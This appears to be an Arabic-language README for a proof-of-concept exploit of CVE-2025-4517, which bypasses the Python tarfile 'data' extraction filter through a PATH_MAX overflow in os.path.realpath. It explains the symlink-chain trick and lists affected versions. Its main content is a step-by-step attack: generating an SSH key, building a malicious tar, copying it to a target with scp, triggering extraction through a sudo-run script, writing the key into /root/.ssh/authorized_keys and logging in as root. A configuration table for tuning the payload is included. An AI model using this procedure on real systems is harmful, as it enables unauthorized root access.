
تجاوز مرشح البيانات في Python tarfile عبر تجاوز PATH_MAX في os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile في بايثون عبر تجاوز PATH_MAXالمؤلف: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 التنبيه: GHSA-6r6c-684h-9j7p إصلاح CPython: PR #135037
من المفترض أن tarfile.extractall(filter="data") في بايثون تقوم باستخراج أرشيفات tar بشكل آمن عن طريق منع تجاوز المسار (المسارات المطلقة، تسلسلات ..، والروابط الرمزية التي تهرب من الوجهة). ومع ذلك، يوجد خطأ في os.path.realpath(strict=False) يسمح بتجاوز هذا الفلتر بالكامل.
عندما يتجاوز المسار المُحَلّ PATH_MAX (4096 بايت على لينكس)، تتوقف os.path.realpath() بصمت عن حل الروابط الرمزية وتلجأ إلى معالجة النصوص. هذا يعني أن سلسلة روابط رمزية مصممة بعناية يمكنها خداع بايثون لتظن أن الرابط الرمزي يُحَل داخل دليل الاستخراج بينما هو في الواقع يهرب إلى /.
| الفرع | المتأثر | تم الإصلاح في |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
يُكوِّن الاستغلال أرشيف tar يحتوي على:
realpathالفكرة الأساسية: اتباع a/b/c/.../p عبر روابط رمزية قصيرة يبقى تحت PATH_MAX، لكن realpath يُوسّع كل رابط إلى اسم الدليل الحقيقي بطول ~240 حرفًا. عند الوصول إلى اسم الرابط بطول 254 حرفًا، يتجاوز المسار المُحَلّ 4096 بايت ويستسلم realpath — معيدًا نتيجة غير صحيحة بصمت.
flowchart TD
A["يهاجم يصنع tar ضاراً"] --> B["يحتوي tar على:
16 زوج دليل/رابط رمزي
رابط هروب بطول 254 حرفًا
رابط 'هروب' إلى /
ملف حمولة"]
B --> C["يستخرج الهدف باستخدام
tarfile.extractall(filter='data')"]
C --> D{"تحل بايثون الروابط الرمزية
عبر os.path.realpath()"}
D --> E["تتبع الروابط القصيرة a→ddd...d
ينمو المسار المُحَلّ مع كل خطوة"]
E --> F{"طول المسار المُحَلّ
> PATH_MAX (4096)؟"}
F -->|"لا (عادي)"| G["realpath يحل بشكل صحيح
الرابط الرمزي محظور بواسطة الفلتر ✓"]
F -->|"نعم (فيضان!)"| H["realpath يتوقف عن الحل
يلجأ إلى معالجة النصوص"]
H --> I["تظن بايثون أن الرابط الرمزي
يُحَل داخل دليل الاستخراج"]
I --> J["الفلتر يمرر الرابط الرمزي ✗"]
J --> K["نظام التشغيل يتبع الرابط الرمزي بشكل صحيح
يتحقق 'هروب' إلى /"]
K --> L["تُكتب الحمولة إلى
ملف عشوائي على القرص"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as جهاز المهاجم
participant T as الجهاز المستهدف
Note over A: المرحلة 1 — التحضير
A->>A: إنشاء زوج مفاتيح SSH (ssh-keygen)
A->>A: تكوين متغيرات الاستغلال<br/>(DEST_DIR, DEPTH_TO_ROOT, إلخ.)
A->>A: تشغيل CVE-2025-4517.py أو .go<br/>لإنشاء tar ضار
Note over A,T: المرحلة 2 — التسليم
A->>T: نقل tar الضار إلى الهدف<br/>(scp, wget, curl, ftp, إلخ.)
T->>T: وضع tar في موقع يمكن<br/>للبرنامج النصي الضعيف الوصول إليه
Note over T: المرحلة 3 — الاستغلال
T->>T: تشغيل الاستخراج عبر<br/>البرنامج النصي الضعيف في بايثون
T->>T: تستدعي بايثون tarfile.extractall(filter="data")
Note over T: ما تراه بايثون مقابل الواقع
T->>T: realpath() يفيض عند PATH_MAX
T->>T: يعتقد الفلتر أن رابط "هروب" آمن
T->>T: يتبع نظام التشغيل "هروب" → يُحَل إلى /
T->>T: تُكتب الحمولة إلى /root/.ssh/authorized_keys
Note over A,T: المرحلة 4 — الوصول
A->>T: SSH كجذر باستخدام المفتاح المكتوب
T-->>A: تم الحصول على شل الجذر
graph LR
subgraph "أعضاء Tar (مستخرجة بالترتيب)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 مستوى..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(محتوى الحمولة)"]
end
S1 -.->|"مسار قصير<br/>يبقى صغيرًا"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 حرفًا تدفع<br/>ما بعد PATH_MAX"| S5
S5 -.->|"يُحَل إلى /"| F1
كلا البرنامجين النصيين يحتويان على قسم تكوين في الأعلى بهذه المتغيرات:
الخيار A: بايثون
# 1. إنشاء زوج مفاتيح SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. تحرير CVE-2025-4517.py — تحديث DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. إنشاء tar الضار
python3 CVE-2025-4517.py
# 4. النقل إلى الهدف
scp backup_99.tar user@target:/path/to/backups/
الخيار B: Go
# 1. إنشاء زوج مفاتيح SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. تحرير CVE-2025-4517.go — تحديث destDir, depthToRoot, payload, output
# 3. إنشاء tar الضار
go run CVE-2025-4517.go
# 4. النقل إلى الهدف
scp backup_99.tar user@target:/path/to/backups/
# تشغيل الاستخراج عبر البرنامج النصي الضعيف في بايثون
# الأمر الدقيق يعتمد على كيفية استدعاء البرنامج النصي الهدف
# مثال:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH كجذر باستخدام المفتاح المزروع
ssh -i root_key root@target
قم بعد الدلائل من / إلى مسار الاستخراج الخاص بك:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
أي برنامج نصي في بايثون يستخدم tarfile.extractall() مع filter="data" على إصدار متأثر يكون قابلاً للاستغلال:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # ضعيف
تم تقديم filter="data" كإجراء أمني لمنع هجمات تجاوز مسار tar. من المثير للسخرية أن الثغرة موجودة في الآلية نفسها (os.path.realpath) التي يعتمد عليها الفلتر للتحقق من أهداف الروابط الرمزية.
هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم والبحث فقط. استخدمها فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ لهذه الأداة.
| المتغير | الوصف | مثال |
|---|
DEST_DIR | المسار الكامل لدليل الاستخراج على الهدف | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | عدد الدلائل من / إلى DEST_DIR | 4 لـ /opt/app/staging/dir/ |
TARGET_FILE | الملف المراد كتابته، نسبيًا من / | root/.ssh/authorized_keys |
PAYLOAD | المحتوى المراد كتابته في الملف الهدف | مفتاح SSH العام الخاص بك |
OUTPUT | اسم ملف tar الناتج | يجب أن يطابق النمط المتوقع للهدف |